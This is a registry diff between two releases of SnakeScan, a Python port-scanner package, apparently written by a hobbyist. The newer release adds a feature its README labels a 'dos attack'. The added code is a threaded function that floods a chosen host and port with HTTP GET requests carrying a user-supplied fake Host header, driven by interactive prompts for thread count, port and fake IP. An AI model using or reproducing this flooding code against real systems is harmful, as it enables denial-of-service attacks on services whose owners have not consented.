SnakeScan 1.2.5__tar.gz → 1.2.7__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: SnakeScan
|
|
3
|
-
Version: 1.2.
|
|
3
|
+
Version: 1.2.7
|
|
4
4
|
Summary: Module SnakeScan
|
|
5
5
|
Author: Den*Ram
|
|
6
6
|
Description-Content-Type: text/markdown
|
|
@@ -27,6 +27,8 @@ requires-python=>3.9
|
|
|
27
27
|
added new check all port search:
|
|
28
28
|
[$]Port--> --a
|
|
29
29
|
added new check all port using thread:
|
|
30
|
-
[$]Port--> --t
|
|
30
|
+
[$]Port--> --t
|
|
31
|
+
added new dos attack:
|
|
32
|
+
[$]Host-->https://example.com --d
|
|
31
33
|
|
|
32
34
|
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
"""Module SnakeScan"""
|
|
2
|
-
__version__="1.2.
|
|
2
|
+
__version__="1.2.7"
|
|
3
3
|
import socket
|
|
4
4
|
from art import tprint
|
|
5
5
|
from datetime import datetime
|
|
@@ -10,6 +10,9 @@ portsopen=0
|
|
|
10
10
|
portsclosed=0
|
|
11
11
|
Run_now=True
|
|
12
12
|
Bool=True
|
|
13
|
+
boolsd=False
|
|
14
|
+
global num
|
|
15
|
+
num=0
|
|
13
16
|
boolean=0
|
|
14
17
|
OpenPorts=[]
|
|
15
18
|
ports = {
|
|
@@ -46,17 +49,79 @@ def is_port_open_threads(host,port):
|
|
|
46
49
|
print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
|
|
47
50
|
except:
|
|
48
51
|
print(f"Closed{colored('|X|','red')}-->|{all}|")
|
|
52
|
+
finally:
|
|
53
|
+
s.close()
|
|
49
54
|
else:
|
|
50
|
-
s.close()
|
|
51
55
|
print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
|
|
52
|
-
|
|
56
|
+
def dos_threads(host,port,fake_ip):
|
|
57
|
+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
58
|
+
#Connect
|
|
59
|
+
try:
|
|
60
|
+
s.connect((host,port))
|
|
61
|
+
s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
|
|
62
|
+
s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
|
|
63
|
+
s.close()
|
|
64
|
+
return False
|
|
65
|
+
except:
|
|
66
|
+
s.close()
|
|
67
|
+
return True
|
|
53
68
|
print("–"*60)
|
|
54
69
|
tprint("SnakeScan")
|
|
55
70
|
print("–"*60)
|
|
56
|
-
print(f"{__version__}".rjust(60))
|
|
71
|
+
print(f"Release:{__version__}".rjust(60))
|
|
57
72
|
print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
|
|
58
73
|
while Run_now:
|
|
59
74
|
host=input(f"{colored('[$]','green')}Host-->")
|
|
75
|
+
if "--d" in host:
|
|
76
|
+
boolsd=True
|
|
77
|
+
if "http://" in host:
|
|
78
|
+
host=host.strip("http://").strip("--d")
|
|
79
|
+
for i in range(len(host)-1):
|
|
80
|
+
if host[i] == "/":
|
|
81
|
+
host=host[0:i]
|
|
82
|
+
elif "https://" in host:
|
|
83
|
+
host=host.strip("https://").strip("--d")
|
|
84
|
+
for i in range(len(host)-1):
|
|
85
|
+
if host[i] == "/":
|
|
86
|
+
host=host[0:i]
|
|
87
|
+
try:
|
|
88
|
+
host=socket.gethostbyname(host)
|
|
89
|
+
except:
|
|
90
|
+
print("Host is not avaible")
|
|
91
|
+
continue
|
|
92
|
+
finally:
|
|
93
|
+
if boolsd:
|
|
94
|
+
host=host+""+"--d"
|
|
95
|
+
if "--d" in host:
|
|
96
|
+
host=host.strip("--d").strip()
|
|
97
|
+
try:
|
|
98
|
+
threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
|
|
99
|
+
dos_port=int(input(f"{colored('[$]','green')}Port-->"))
|
|
100
|
+
fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
|
|
101
|
+
except:
|
|
102
|
+
while True:
|
|
103
|
+
print(f"{colored('|Threads|Port|','green')}{colored('[X]:Invalid value','red')}")
|
|
104
|
+
|
|
105
|
+
try:
|
|
106
|
+
threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
|
|
107
|
+
dos_port=int(input(f"{colored('[$]','green')}Port-->"))
|
|
108
|
+
fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
|
|
109
|
+
|
|
110
|
+
except:
|
|
111
|
+
continue
|
|
112
|
+
if threadsnum:
|
|
113
|
+
break
|
|
114
|
+
for dos in range(0,threadsnum):
|
|
115
|
+
num+=1
|
|
116
|
+
t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
|
|
117
|
+
t.start()
|
|
118
|
+
t.join()
|
|
119
|
+
if dos_threads(host,dos_port,fake_ip):
|
|
120
|
+
print("Host or Port not avaible")
|
|
121
|
+
else:
|
|
122
|
+
print("Dos-Information".center(60,"-"))
|
|
123
|
+
print(f"{colored('[$]','green')}Threads--> {num} GET/{host}:{dos_port} HTTP/1.1")
|
|
124
|
+
continue
|
|
60
125
|
if host == "Exit" or host == "exit":
|
|
61
126
|
break
|
|
62
127
|
if host == "":
|
|
File without changes
|
|
File without changes
|